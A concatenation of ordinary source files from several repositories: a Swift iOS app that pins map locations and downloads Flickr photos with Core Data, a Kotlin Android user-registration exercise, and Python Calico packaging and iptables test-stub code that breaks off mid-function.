Implementation extension AlbumViewController: MKMapViewDelegate { func mapView(mapView: MKMapView, viewForAnnotation annotation: MKAnnotation) -> MKAnnotationView? { guard !annotation.isKindOfClass(MKUserLocation) else { return nil } let reuseId = "pinView" var pinView = mapView.dequeueReusableAnnotationViewWithIdentifier(reuseId) as? MKPinAnnotationView if pinView != nil { pinView!.annotation = annotation } else { pinView = MKPinAnnotationView(annotation: annotation, reuseIdentifier: reuseId) pinView!.pinTintColor = UIColor.redColor() pinView!.animatesDrop = false pinView!.canShowCallout = true } return pinView } } // MARK: - UICollectionViewDelegate Implementation extension AlbumViewController: UICollectionViewDelegate { func collectionView(collectionView: UICollectionView, didSelectItemAtIndexPath indexPath: NSIndexPath) { allPhotos.managedObjectContext.performBlock { if let photo = self.allPhotos.objectAtIndexPath(indexPath) as? Photo { if photo.isDownloadingImage || photo.imageData == nil { onMainQueueDo { let alertView = UIAlertController(title: "Cannot Remove Image", message: "Cannot remove image yet. " + "Please wait for the download to complete, then try again.", preferredStyle: .Alert) alertView.addAction(UIAlertAction(title: "Dismiss", style: .Default, handler: { _ in self.dismissViewControllerAnimated(true, completion: nil) } )) self.presentViewController(alertView, animated: true, completion: nil) } } else { self.dataController.deleteFromMainContext(photo) } } } } } // MARK: - UICollectionViewDataSource Implementation extension AlbumViewController: UICollectionViewDataSource { func collectionView(collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int { return allPhotos.fetchedObjects?.count ?? 0 } func collectionView(collectionView: UICollectionView, cellForItemAtIndexPath indexPath: NSIndexPath) -> UICollectionViewCell { let cell = collectionView.dequeueReusableCellWithReuseIdentifier("imageView", forIndexPath: indexPath) let imageView = cell.viewWithTag(1) as! UIImageView let activityIndicator = cell.viewWithTag(2) as! UIActivityIndicatorView imageView.image = nil allPhotos.managedObjectContext.performBlock { if self.allPhotos.fetchedObjects?.count ?? 0 < indexPath.row { return } if let photo = self.allPhotos.objectAtIndexPath(indexPath) as? Photo { if let imageData = photo.imageData { onMainQueueDo { activityIndicator.stopAnimating() imageView.image = UIImage(data: imageData) } } else if !photo.isDownloadingImage { self.dataController.downloadImageFor(photo) onMainQueueDo { activityIndicator.startAnimating() } } } } return cell } } // MARK: - NSFetchedResultsControllerDelegate Implementation extension AlbumViewController: NSFetchedResultsControllerDelegate { func controllerWillChangeContent(controller: NSFetchedResultsController) { changes = [:] } func controllerDidChangeContent(controller: NSFetchedResultsController) { self.collectionView.performBatchUpdates({ for (type, indexPaths) in self.changes { switch type { case .Insert: self.collectionView.insertItemsAtIndexPaths(indexPaths) break case .Delete: self.collectionView.deleteItemsAtIndexPaths(indexPaths) break default: break } } }, completion: nil) } func controller(controller: NSFetchedResultsController, didChangeObject anObject: AnyObject, atIndexPath indexPath: NSIndexPath?, forChangeType type: NSFetchedResultsChangeType, newIndexPath: NSIndexPath?) { switch controller { case allPhotos: switch type { case .Insert: if changes[.Insert] == nil { changes[.Insert] = [] } changes[.Insert]!.append(newIndexPath!) break case .Move: onMainQueueDo { self.collectionView.moveItemAtIndexPath(indexPath!, toIndexPath: newIndexPath!) } break case .Update: onMainQueueDo { self.collectionView.reloadItemsAtIndexPaths([indexPath!]) } break case .Delete: if changes[.Delete] == nil { changes[.Delete] = [] } changes[.Delete]!.append(indexPath!) break } break case pinFromContext: if let annotation = mapView.selectedAnnotations.first as? MKPointAnnotation { annotation.title = (anObject as? Pin)?.title } break default: break } } } // MARK: - Private Methods private extension AlbumViewController { func handleError(error: NSError) { onMainQueueDo { let alertVC = UIAlertController(title: "Operation Failed", message: error.localizedDescription, preferredStyle: .Alert) alertVC.addAction(UIAlertAction(title: "Dismiss", style: .Default, handler: nil)) self.presentViewController(alertVC, animated: true, completion: nil) } } }<file_sep>// // CoreDataStack.swift // CoreDataTest // // Created by <NAME> on 31/05/2016. // Copyright © 2016 <NAME>. All rights reserved. // import Foundation import CoreData class DataController { private let networkOperationQueue = NSOperationQueue() private let model: NSManagedObjectModel private let coordinator: NSPersistentStoreCoordinator private let dbURL: NSURL private let persistingContext: NSManagedObjectContext let mainThreadContext: NSManagedObjectContext init?(withModelName modelName: String) { guard let modelUrl = NSBundle.mainBundle().URLForResource(modelName, withExtension: "momd") else { NSLog("Unable to find model in bundle") return nil } guard let model = NSManagedObjectModel(contentsOfURL: modelUrl) else { NSLog("Unable to create object model") return nil } guard let docsDir = NSFileManager.defaultManager().URLsForDirectory(.DocumentDirectory, inDomains: .UserDomainMask).first else { NSLog("Unable to obtain Documents directory for user") return nil } self.model = model coordinator = NSPersistentStoreCoordinator(managedObjectModel: model) dbURL = docsDir.URLByAppendingPathComponent("\(modelName).sqlite") persistingContext = NSManagedObjectContext(concurrencyType: .PrivateQueueConcurrencyType) persistingContext.name = "Persisting" persistingContext.persistentStoreCoordinator = coordinator mainThreadContext = NSManagedObjectContext(concurrencyType: .MainQueueConcurrencyType) mainThreadContext.name = "Main" mainThreadContext.parentContext = persistingContext do { let options = [NSMigratePersistentStoresAutomaticallyOption: true, NSInferMappingModelAutomaticallyOption: true] try coordinator.addPersistentStoreWithType(NSSQLiteStoreType, configuration: nil, URL: dbURL, options: options) } catch let error as NSError { logErrorAndAbort(error) } } func dropAllData() throws { try coordinator.destroyPersistentStoreAtURL(dbURL, withType: NSSQLiteStoreType, options: nil) try coordinator.addPersistentStoreWithType(NSSQLiteStoreType, configuration: nil, URL: dbURL, options: nil) } func save() { mainThreadContext.performBlockAndWait { if self.mainThreadContext.hasChanges { do { try self.mainThreadContext.save() } catch let error as NSError { logErrorAndAbort(error) } } } persistingContext.performBlock { if self.persistingContext.hasChanges { do { try self.persistingContext.save() } catch let error as NSError { logErrorAndAbort(error) } } } } func deleteObjectsFromMainContext(objects: [NSManagedObject]) { mainThreadContext.performBlock { for o in objects { self.mainThreadContext.deleteObject(o) } self.save() } } func deleteFromMainContext(object: NSManagedObject) { deleteObjectsFromMainContext([object]) } } // These methods must be called from the performBlock or performBlockAndWait of an NSManagedObjectContext extension DataController { func createPin(longitude longitude: Double, latitude: Double, title: String = "", errorHandler: (NSError) -> Void) -> Pin { let pin = Pin(title: title, longitude: longitude, latitude: latitude, context: mainThreadContext) self.save() searchForImagesAt(pin, errorHandler: errorHandler) return pin } func searchForImagesAt(pin: Pin, isImageRefresh: Bool = false, errorHandler: (NSError) -> Void) { let imageSearchContext = NSManagedObjectContext(concurrencyType: .PrivateQueueConcurrencyType) imageSearchContext.name = "Image Search Context" imageSearchContext.parentContext = mainThreadContext let pinId = pin.objectID let criteria = createCriteriaFor(pin, isImageRefresh: isImageRefresh) let imageSearch = FlickrImageSearch(criteria: criteria, insertResultsInto: pin, using: imageSearchContext, errorHandler: errorHandler) let searchOp = FlickrNetworkOperation(processor: imageSearch) let imageDownloadOp = NSBlockOperation { self.mainThreadContext.performBlockAndWait { let pin = self.mainThreadContext.objectWithID(pinId) as! Pin let ops = self.createDownloadWithSaveOperationsFor( (pin.photoContainer as? PhotoContainer)?.photos?.array as? [Photo] ?? []) let saveOp = NSBlockOperation { self.save() } for o in ops { saveOp.addDependency(o) } self.networkOperationQueue.addOperations(ops + [saveOp], waitUntilFinished: false) } } imageDownloadOp.addDependency(searchOp) networkOperationQueue.addOperations([searchOp, imageDownloadOp], waitUntilFinished: false) } func downloadImageFor(photo: Photo) { let saveOp = NSBlockOperation { self.save() } let downloadOps = self.createDownloadWithSaveOperationsFor([photo]) for op in downloadOps { saveOp.addDependency(op) } self.networkOperationQueue.addOperations(downloadOps + [saveOp], waitUntilFinished: false) } } // MARK: - Private Methods private extension DataController { func createCriteriaFor(pin: Pin, isImageRefresh: Bool) -> FlickrImageSearchCriteria { if isImageRefresh { if let photoContainer = pin.photoContainer as? PhotoContainer { let page = (photoContainer.page!.integerValue + 1) % (photoContainer.pageCount!.integerValue + 1) return FlickrImageSearchCriteria(longitude: pin.longitude!.doubleValue, latitude: pin.latitude!.doubleValue, limit: photoContainer.perPage!.integerValue, searchResultPageNumber: page) } } if let photoContainer = pin.photoContainer as? PhotoContainer { return FlickrImageSearchCriteria(longitude: pin.longitude!.doubleValue, latitude: pin.latitude!.doubleValue, limit: photoContainer.perPage!.integerValue, searchResultPageNumber: photoContainer.page!.integerValue) } return FlickrImageSearchCriteria(longitude: pin.longitude!.doubleValue, latitude: pin.latitude!.doubleValue, limit: 25, searchResultPageNumber: 1) } func createDownloadWithSaveOperationsFor(photos: [Photo]) -> [NSOperation] { var mappedElements = [NSOperation]() for photo in photos { let downloadContext = NSManagedObjectContext(concurrencyType: .PrivateQueueConcurrencyType) downloadContext.name = "Photo Download Context for \(photo.id!.integerValue)" downloadContext.parentContext = self.mainThreadContext let downloadOp = DownloadPhotoOperation(photo: photo, saveInto: downloadContext) let saveOp = NSBlockOperation { downloadContext.performBlockAndWait { if downloadContext.hasChanges { do { try downloadContext.save() } catch let error as NSError { NSLog("\(error.description)\n\(error.localizedDescription)") } } } } saveOp.addDependency(downloadOp) mappedElements += [downloadOp, saveOp] } return mappedElements } } // MARK: - Private Functions private func logErrorAndAbort(error: NSError) { var errorString = "Core Data Error: \(error.localizedDescription)\n\(error)\n" if let detailedErrors = error.userInfo[NSDetailedErrorsKey] as? [NSError] { detailedErrors.forEach { errorString += "\($0.localizedDescription)\n\($0)\n" } } fatalError(errorString) } <file_sep>// // PhotoContainer.swift // Virtual Tourist // // Created by <NAME> on 08/06/2016. // Copyright © 2016 <NAME>. All rights reserved. // import Foundation import CoreData class PhotoContainer: NSManagedObject { convenience init(context: NSManagedObjectContext) { self.init(entity: NSEntityDescription.entityForName("PhotoContainer", inManagedObjectContext: context)!, insertIntoManagedObjectContext: context) } } <file_sep>// // FlickrURL.swift // Virtual Tourist // // Created by <NAME> on 13/06/2016. // Copyright © 2016 <NAME>. All rights reserved. // import Foundation class FlickrURL { let url: NSURL init(parameters: [String: AnyObject]) { let url = NSURLComponents() url.scheme = Constants.API.Scheme url.host = Constants.API.Host url.path = Constants.API.Path url.queryItems = parameters.map { NSURLQueryItem(name: $0, value: "\($1)") } url.queryItems!.append(NSURLQueryItem(name: Constants.ParameterKeys.APIKey, value: Constants.API.Key)) url.queryItems!.append(NSURLQueryItem(name: Constants.ParameterKeys.NoJSONCallback, value: Constants.ParameterValues.NoJSONCallbackOn)) url.queryItems!.append(NSURLQueryItem(name: Constants.ParameterKeys.Format, value: Constants.ParameterValues.JSONFormat)) self.url = url.URL! } }<file_sep>// // FlickrPhoto.swift // Virtual Tourist // // Created by <NAME> on 02/06/2016. // Copyright © 2016 <NAME>. All rights reserved. // import Foundation enum FlickrPhotoErrorCodes: Int { case IDNotFound case URLNotFound } class FlickrPhoto { static let idKey = "id" var id: Int var url: NSURL init?(parsedJSON: [String: AnyObject], imageSize: FlickrImageSize) throws { func makeError(errorString: String, code: FlickrPhotoErrorCodes) -> NSError { return NSError(domain: "FlickrPhoto.init", code: code.rawValue, userInfo: [NSLocalizedDescriptionKey: errorString]) } guard let id = Int((parsedJSON[FlickrPhoto.idKey] as? String ?? "")) else { throw makeError("Key \"\(FlickrPhoto.idKey)\" not found", code: .IDNotFound) } let urlKey = imageSize.description let url: String if let parsedURL = parsedJSON[urlKey] as? String { url = parsedURL } else if let parsedURL = parsedJSON[FlickrImageSize.Small.description] as? String { url = parsedURL } else { NSLog("Key \"\(urlKey)\" not found") return nil } self.id = id self.url = NSURL(string: url)! } static func photoArrayFromJSON(parsedJson: [[String: AnyObject]], imageSize: FlickrImageSize) throws -> [FlickrPhoto] { return try parsedJson.flatMap { try FlickrPhoto(parsedJSON: $0, imageSize: imageSize) } } }<file_sep>// // Array+utils.swift // Virtual Tourist // // Created by <NAME> on 08/06/2016. // Copyright © 2016 <NAME>. All rights reserved. // import Foundation extension Array { public func first(@noescape predicate: (Element) -> Bool) -> Element? { for e in self { if predicate(e) { return e } } return nil } }<file_sep>// // FetchedResultsControllerProducer.swift // Virtual Tourist // // Created by <NAME> on 07/06/2016. // Copyright © 2016 <NAME>. All rights reserved. // import Foundation import CoreData extension DataController { func allPinsWithSortDescriptor(sortDescriptor: NSSortDescriptor) -> NSFetchedResultsController { let request = NSFetchRequest(entityName: "Pin") request.sortDescriptors = [sortDescriptor] return NSFetchedResultsController(fetchRequest: request, managedObjectContext: mainThreadContext, sectionNameKeyPath: nil, cacheName: nil) } func allPhotosFor(pin: Pin) -> NSFetchedResultsController { let request = NSFetchRequest(entityName: "Photo") request.sortDescriptors = [NSSortDescriptor(key: "id", ascending: true)] request.predicate = NSPredicate(format: "photoContainer.pin == %@", pin) return NSFetchedResultsController(fetchRequest: request, managedObjectContext: mainThreadContext, sectionNameKeyPath: nil, cacheName: nil) } func fetchedResultsControllerFor(pin: Pin) -> NSFetchedResultsController { let request = NSFetchRequest(entityName: "Pin") request.sortDescriptors = [NSSortDescriptor(key: "title", ascending: true)] request.predicate = NSPredicate(format: "SELF == %@", pin) return NSFetchedResultsController(fetchRequest: request, managedObjectContext: mainThreadContext, sectionNameKeyPath: nil, cacheName: nil) } }<file_sep>// // FlickrImageSearch.swift // Virtual Tourist // // Created by <NAME> on 13/06/2016. // Copyright © 2016 <NAME>. All rights reserved. // import Foundation import CoreData struct FlickrImageSearchCriteria { let longitude: Double let latitude: Double let limit: Int let searchResultPageNumber: Int } enum FlickrClientErrorCodes: Int { case NoData case JSONParse case KeyNotFound } class FlickrImageSearch: FlickrNetworkOperationProcessor { private let context: NSManagedObjectContext private let pinId: NSManagedObjectID private let errorHandler: (NSError) -> Void private let _request: NSURLRequest var request: NSURLRequest { get { return _request } } init(criteria: FlickrImageSearchCriteria, insertResultsInto pin: Pin, using context: NSManagedObjectContext, errorHandler: (NSError) -> Void) { let pageNumber: Int if (criteria.limit * criteria.searchResultPageNumber) > 2000 { pageNumber = 1 } else { pageNumber = criteria.searchResultPageNumber } let parameters: [String: AnyObject] = [ Constants.ParameterKeys.Method: "flickr.photos.search", Constants.ParameterKeys.Extras: stringOf([FlickrImageSize.Medium, .Small]), Constants.ParameterKeys.Longitude: criteria.longitude, Constants.ParameterKeys.Latitude: criteria.latitude, Constants.ParameterKeys.SafeSearch: Constants.ParameterValues.SafeSearchOn, Constants.ParameterKeys.PerPageLimit: criteria.limit, Constants.ParameterKeys.Page: pageNumber ] _request = NSURLRequest(URL: FlickrURL(parameters: parameters).url) self.context = context self.pinId = pin.objectID self.errorHandler = errorHandler } func processData(data: NSData) { guard let parsedJSON = parseJSON(data) else { return } guard let parsedData = parsedJSON as? [String: AnyObject] else { let userInfo = [NSLocalizedDescriptionKey: "Could not format returned data in to the required format"] let error = NSError(domain: "FlickrImageSearch.processData", code: FlickrClientErrorCodes.JSONParse.rawValue, userInfo: userInfo) handleError(error) return } guard let jsonPhotos = parsedData[Constants.ResponseKeys.Photos] as? [String: AnyObject] else { let userInfo = [NSLocalizedDescriptionKey: "Key \(Constants.ResponseKeys.Photos) not found"] let error = NSError(domain: "FlickrImageSearch.processData", code: FlickrClientErrorCodes.KeyNotFound.rawValue, userInfo: userInfo) handleError(error) return } guard let photos = parseFlickrPhotosFrom(jsonPhotos) else { return } context.performBlockAndWait { let pin = self.context.objectWithID(self.pinId) as! Pin if let pc = pin.photoContainer { self.context.deleteObject(pc) self.saveOrRollbackContext() } let photoContainer = self.createPhotoContainerFrom(photos) pin.photoContainer = photoContainer photoContainer.pin = pin self.saveOrRollbackContext() } } func handleError(error: NSError) { NSLog("\(error.description)\n\(error.localizedDescription)") errorHandler(error) } } private extension FlickrImageSearch { // Call from context.performBlock() or performBlockAndWait() func saveOrRollbackContext() { if self.context.hasChanges { do { try context.save() } catch let error as NSError { self.handleError(error) context.rollback() } } } func createPhotoContainerFrom(photos: FlickrPhotos) -> PhotoContainer { let photoContainer = PhotoContainer(context: context) photoContainer.page = photos.page photoContainer.pageCount = photos.pages photoContainer.total = photos.total photoContainer.perPage = photos.perPage let photoArray = photos.photos.map { Photo(context: context, id: $0.id, url: $0.url.absoluteString) } for photo in photoArray { photo.photoContainer = photoContainer } photoContainer.photos = NSOrderedSet(array: photoArray) return photoContainer } func parseFlickrPhotosFrom(json: [String: AnyObject]) -> FlickrPhotos? { let photos: FlickrPhotos? do { photos = try FlickrPhotos(parsedJSON: json, imageSize: .Medium) } catch let parseError as NSError { photos = nil let userInfo = [NSLocalizedDescriptionKey: "Unable to parse JSON object", NSUnderlyingErrorKey: parseError] let error = NSError(domain: "FlickrImageSearch.processData", code: FlickrClientErrorCodes.KeyNotFound.rawValue, userInfo: userInfo) handleError(error) } return photos } func parseJSON(data: NSData) -> AnyObject? { let parsedResult: AnyObject? do { parsedResult = try NSJSONSerialization.JSONObjectWithData(data, options: .AllowFragments) } catch let error as NSError { parsedResult = nil let userInfo = [NSLocalizedDescriptionKey: "Unable to parse JSON object", NSUnderlyingErrorKey: error] let error = NSError(domain: "FlickrImageSearch.parseJSON", code: FlickrClientErrorCodes.JSONParse.rawValue, userInfo: userInfo) handleError(error) } return parsedResult } }<file_sep>// // Pin.swift // Virtual Tourist // // Created by <NAME> on 08/06/2016. // Copyright © 2016 <NAME>. All rights reserved. // import Foundation import CoreData class Pin: NSManagedObject { convenience init(title: String, longitude: Double, latitude: Double, context: NSManagedObjectContext) { self.init(entity: NSEntityDescription.entityForName("Pin", inManagedObjectContext: context)!, insertIntoManagedObjectContext: context) self.title = title self.longitude = longitude self.latitude = latitude } } <file_sep>// // Dispatch+utils.swift // On The Map // // Created by <NAME> on 15/05/2016. // Copyright © 2016 <NAME>. All rights reserved. // import Foundation func after(time: dispatch_time_t, onQueue queue: dispatch_queue_t = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), do block: () -> Void) { dispatch_after(time, queue, block) } func onMainQueueDo(block: () -> Void) { dispatch_async(dispatch_get_main_queue(), block) } extension Int64 { func seconds() -> dispatch_time_t { return dispatch_time(DISPATCH_TIME_NOW, Int64(UInt64(self) * NSEC_PER_SEC)) } } <file_sep>// // Photo.swift // Virtual Tourist // // Created by <NAME> on 08/06/2016. // Copyright © 2016 <NAME>. All rights reserved. // import Foundation import CoreData class Photo: NSManagedObject { convenience init(context: NSManagedObjectContext, id: Int, url: String) { self.init(entity: NSEntityDescription.entityForName("Photo", inManagedObjectContext: context)!, insertIntoManagedObjectContext: context) self.url = url self.id = id self.isDownloading = NSNumber(bool: false) } // Wrapper property because isDownloading is stored as an NSNumber var isDownloadingImage: Bool { get { return isDownloading?.boolValue ?? false } } } <file_sep>// // DownloadOperation.swift // Virtual Tourist // // Created by <NAME> on 21/06/2016. // Copyright © 2016 <NAME>. All rights reserved. // import Foundation import CoreData // MARK: - NSOperation Overrides class DownloadPhotoOperation: NSOperation { private let incomingData = NSMutableData() private let photoId: NSManagedObjectID private let flickrId: Int private let url: NSURL private let context: NSManagedObjectContext private var sessionTask: NSURLSessionTask? private lazy var session: NSURLSession = { return NSURLSession(configuration: NSURLSessionConfiguration.defaultSessionConfiguration(), delegate: self, delegateQueue: nil) }() var _finished: Bool = false override var finished: Bool { get { return _finished } set { willChangeValueForKey("isFinished") _finished = newValue didChangeValueForKey("isFinished") } } init(photo: Photo, saveInto context: NSManagedObjectContext) { self.photoId = photo.objectID self.flickrId = photo.id!.integerValue self.url = NSURL(string: photo.url!)! self.context = context super.init() } override func start() { if cancelled { finished = true return } sessionTask = task() sessionTask!.resume() } } // MARK: - NSURLSessionDelegate Implementation extension DownloadPhotoOperation: NSURLSessionDelegate { func URLSession(session: NSURLSession, dataTask: NSURLSessionDataTask, didReceiveResponse response: NSURLResponse, completionHandler: (NSURLSessionResponseDisposition) -> Void) { if cancelled { sessionTask?.cancel() finished = true completionHandler(.Cancel) return } if let response = response as? NSHTTPURLResponse { if !(response.statusCode ~= 200 ..< 300) { completionHandler(.Cancel) } } completionHandler(.BecomeDownload) } func URLSession(session: NSURLSession, dataTask: NSURLSessionDataTask, didBecomeDownloadTask downloadTask: NSURLSessionDownloadTask) { if cancelled { downloadTask.cancel() finished = true setIsDownloading(false) return } sessionTask = downloadTask setIsDownloading(true) } func URLSession(session: NSURLSession, task: NSURLSessionTask, didCompleteWithError error: NSError?) { defer { finished = true } if cancelled { cancelTask() return } guard error == nil else { NSLog("\(error!.description)\n\(error!.localizedDescription)") return } context.performBlockAndWait { let photo = self.context.objectWithID(self.photoId) as! Photo photo.imageData = NSData(data: self.incomingData) do { try self.context.save() } catch let error as NSError { self.context.rollback() NSLog("\(error.localizedDescription)\n\(error.description)") } } } } // MARK: - NSURLSessionDownloadDelegate Implementation extension DownloadPhotoOperation: NSURLSessionDownloadDelegate { func URLSession(session: NSURLSession, downloadTask: NSURLSessionDownloadTask, didFinishDownloadingToURL location: NSURL) { if cancelled { finished = true cancelTask() return } incomingData.appendData(NSData(contentsOfURL: location)!) } } // MARK: - Private Methods private extension DownloadPhotoOperation { func setIsDownloading(isDownloading: Bool) { context.performBlockAndWait { let photo = self.context.objectWithID(self.photoId) as! Photo photo.isDownloading = isDownloading do { try self.context.save() } catch let error as NSError { NSLog("Could not save isDownloading for Photo: \(photo)\n" + "\(error.description)\n\(error.localizedDescription)") } } } func task() -> NSURLSessionTask { let pathToResumeData = resumeDataURL() if let resumeData = NSData(contentsOfURL: pathToResumeData) { return session.downloadTaskWithResumeData(resumeData) } return session.downloadTaskWithURL(url) } func resumeDataURL() -> NSURL { let cacheDirs = NSFileManager.defaultManager().URLsForDirectory(.CachesDirectory, inDomains: .UserDomainMask) if let cacheDir = cacheDirs.first { return cacheDir.URLByAppendingPathComponent("\(flickrId).resumeData") } return NSURL() } func cancelTask() { if let sessionTask = sessionTask as? NSURLSessionDownloadTask { sessionTask.cancelByProducingResumeData({ (resumeData) in let pathToResumeData = self.resumeDataURL() do { try resumeData?.writeToURL(pathToResumeData, options: NSDataWritingOptions.init(rawValue:0)) } catch let error as NSError { NSLog("\(error.description)\n\(error.localizedDescription)") } }) } else { sessionTask?.cancel() } setIsDownloading(false) } }
c1fbe00ea41fab688da6c6a1a591ef0c9a7ae2cb
[ "Swift" ]
19
Swift
maarut/Virtual-Tourist
65b5988dc6d04f2abcf558fa437fa1ff6225bf5d
f169b933a3ba97777827d49fb4338b84c0fba63e
refs/heads/master
<file_sep>package ru.skillbranch.kotlinexample import org.junit.Assert import org.junit.Test import org.junit.Assert.* /** * Example local unit test, which will execute on the development machine (host). * * See [testing documentation](http://d.android.com/tools/testing). */ class ExampleUnitTest { @Test fun addition_isCorrect() { assertEquals(4, 2 + 2) } @Test fun register_user(){ val holder: UserHolder=UserHolder holder.registerUser("<NAME>","<EMAIL>","testPass") val expectedInfo=""" firstName: John lastName: Doe login: <EMAIL> fullName: <NAME> initials: J D email: <EMAIL> phone: null meta: {auth=password} """.trimIndent() val failResult:String?=holder.loginUser("<EMAIL>","testPass") val successResult:String?=holder.loginUser("<EMAIL>","testPass") Assert.assertEquals(null,failResult) Assert.assertEquals(expectedInfo,successResult) } } <file_sep>package ru.skillbranch.kotlinexample object UserHolder { private val map = mutableMapOf<String,User>() fun registerUser( fullName: String, email: String, password: String ): User{ return User.makeUser(fullName,email=email,password=password).also { it->map[it.login]=it } } fun loginUser(login: String,password: String): String?{ return map[login.trim()]?.run { if (checkPassword(password)) this.userInfo else null } } }<file_sep>package ru.skillbranch.kotlinexample import androidx.annotation.VisibleForTesting import java.lang.StringBuilder import java.math.BigInteger import java.security.MessageDigest import java.security.SecureRandom class User private constructor( private val firstName: String, private val lastName: String?=null, email: String?=null, rawPhone: String?=null, meta: Map<String,Any>?=null ){ val userInfo: String private val fullName: String get()= listOfNotNull(firstName,lastName).joinToString (" ").capitalize() private val initials: String get()=listOfNotNull(firstName,lastName).map{it.first().toUpperCase()}.joinToString (" ") //get()=listOfNotNull(firstName?.first()?.toUpperCase(),lastName?.first()?.toUpperCase()).joinToString (" ") //get()="fuck off" private var phone: String?=null set(value){ field=value?.replace("[^+\\d]".toRegex(),"") } private var _login:String?=null public var login: String set(value){ _login=value?.toLowerCase() } get()=_login!! private val salt: String by lazy{ ByteArray(16).also {SecureRandom().nextBytes(it)}.toString() } private lateinit var passwordHash: String @VisibleForTesting(otherwise=VisibleForTesting.NONE) private lateinit var accessCode: String constructor( firstName: String, lastName: String?, email: String, password: String ): this(firstName,lastName,email=email,meta= mapOf("auth" to "password")){ println("Secondary email constructor") passwordHash=encrypt(password) } constructor( firstName: String, lastName: String?, rawPhone: String ): this(firstName,lastName,rawPhone=rawPhone,meta= mapOf("auth" to "sms")){ println("Secondory phone constructor") val code:String =generateAccessCode() passwordHash=encrypt(code) accessCode=code sendAccessCodeToUse(rawPhone,code) } init { println("First init block,primary constructor was called"); check(!firstName.isBlank()){"First Name must be is not blank"} check(!email.isNullOrBlank() || !rawPhone.isNullOrBlank()) {"Phone or Email must be is not blank"} phone=rawPhone login=email ?: phone!! println("First init block, primary constructor was called") userInfo=""" firstName: $firstName lastName: $lastName login: $login fullName: $fullName initials: $initials email: $email phone: $phone meta: $meta """.trimIndent() } fun checkPassword(pass: String)=encrypt(pass)==passwordHash fun changePassword(oldPass: String, pass: String){ if (checkPassword(oldPass))passwordHash=encrypt(pass) else throw IllegalArgumentException("The entered password does not match to entered password") } private fun encrypt(password: String):String=salt.plus(password).md5() private fun generateAccessCode(): String{ var possible="ABCDEFGHIJKLMNOPQRSTUQXYZabcdefghijklmnopqrstuqxyz0123456789" return StringBuilder().apply{ (possible.indices).random().also { index->append(possible[index]) } }.toString() } private fun sendAccessCodeToUse(phone: String?,code:String){ println("Send aceess code $code to phone $phone") } private fun String.md5():String{ val md: MessageDigest= MessageDigest.getInstance("MD5") val digest: ByteArray=md.digest(toByteArray()); val hexString: String= BigInteger(1,digest).toString(16) return hexString.padStart(32,'0') } companion object Factory{ fun makeUser( fullName: String, email: String?=null, password: String?=null, phone: String?=null ): User{ val (firstName:String,lastName:String?)=fullName.fullNameToPair() return when { !phone.isNullOrBlank()->User(firstName,lastName,phone) !email.isNullOrBlank() && !password.isNullOrBlank() -> User(firstName=firstName,lastName=lastName,email=email,password=<PASSWORD>) else -> throw java.lang.IllegalArgumentException(" Email or phone must be not null or blank.") } } private fun String.fullNameToPair(): Pair<String,String>{ return this.split(" ") .filter { it.isNotBlank() } .run{ when (size) { 1->first() to "" 2->first() to last() else-> throw IllegalArgumentException("FullName must contain only FirstName and LastName, current split result ${this@fullNameToPair}") } } } } }
830152d8bbcafa30438bcc272e3f5ef0ac487480
[ "Kotlin" ]
3
Kotlin
BKulesh/android-middle-2019
ef3c122cb9c61f1122e1698d607d9bf840d07183
de47f8b13230f1a15a2b1a84ad52c771d6b9b25b
refs/heads/master
<repo_name>pombredanne/calico<file_sep>/setup.py #!/usr/bin/env python # Copyright (c) 2014 Metaswitch Networks # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import setuptools setuptools.setup( name = "calico", version = "0.8", packages = setuptools.find_packages(), entry_points = { 'console_scripts': [ 'calico-acl-manager = calico.acl_manager.acl_manager:main', 'calico-felix = calico.felix.felix:main', 'neutron-calico-agent = calico.agent.calico_neutron_agent:main', ], 'neutron.ml2.mechanism_drivers': [ 'calico = calico.openstack.mech_calico:CalicoMechanismDriver', ], }, ) <file_sep>/calico/felix/test/stub_fiptables.py # -*- coding: utf-8 -*- # Copyright 2014 Metaswitch Networks # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ felix.test.stub_fiptables ~~~~~~~~~~~~ IP tables management functions. This is a wrapper round python-iptables that allows us to mock it out for testing. """ from calico.felix.futils import IPV4, IPV6 # Special value to mean "put this rule at the end". RULE_POSN_LAST = -1 # Global variables for current state. tables_v4 = dict() tables_v6 = dict() class Rule(object): """ Fake rule object. """ def __init__(self, type, target_name=None): self.type = type self.target_name = target_name self.target_args = dict() self.match_name = None self.match_args = dict() self.protocol = None self.src = None self.in_interface = None self.out_interface = None def create_target(self, name, parameters=None): self.target_name = name if parameters is not None: for key in parameters: self.target_args[key] = value def create_tcp_match(self, dport): self.match_name = "tcp" self.match_args["dport"] = dport def create_icmp6_match(self, icmp_type): self.match_name = "icmp6" self.match_args["icmpv6_type"] = icmp_type def create_conntrack_match(self, state): self.match_name = "conntrack" self.match_args["ctstate"] = state def create_mark_match(self, mark): self.match_name = "mark" self.match_args["mark"] = mark def create_mac_match(self, mac_source): self.match_name = "mac" self.match_args["mac_source"] = mac_source def create_set_match(self, match_set): self.match_name = "set" self.match_args["match_set"] = match_set def create_udp_match(self, sport, dport): self.match_name = "udp" self.match_args["sport"] = sport self.match_args["dport"] = dport def __eq__(self, other): if (self.protocol != other.protocol or self.src != other.src or self.in_interface != other.in_interface or self.out_interface != other.out_interface or self.target_name != other.target_name or self.match_name != other.match_name): return False if (len(self.match_args) != len(other.match_args) or len(self.target_args) != len(other.target_args)): return False if self.match_args != other.match_args: return False if self.target_args != other.target_args: return False return True def __ne__(self, other): return not self.__eq__(self,other) class Chain(object): """ Mimic of an IPTC chain. Rules must be a list (not a set). """ def __init__(self, name, rules=[]): self.name = name self.rules = rules def flush(self): self.rules = [] def delete_rule(rule): # The rule must exist or it is an error. self.rules.remove(rule) def __eq__(self, other): # Equality deliberately only cares about name. if self.name == other.name: return True else: return False def __ne__(self, other): return not 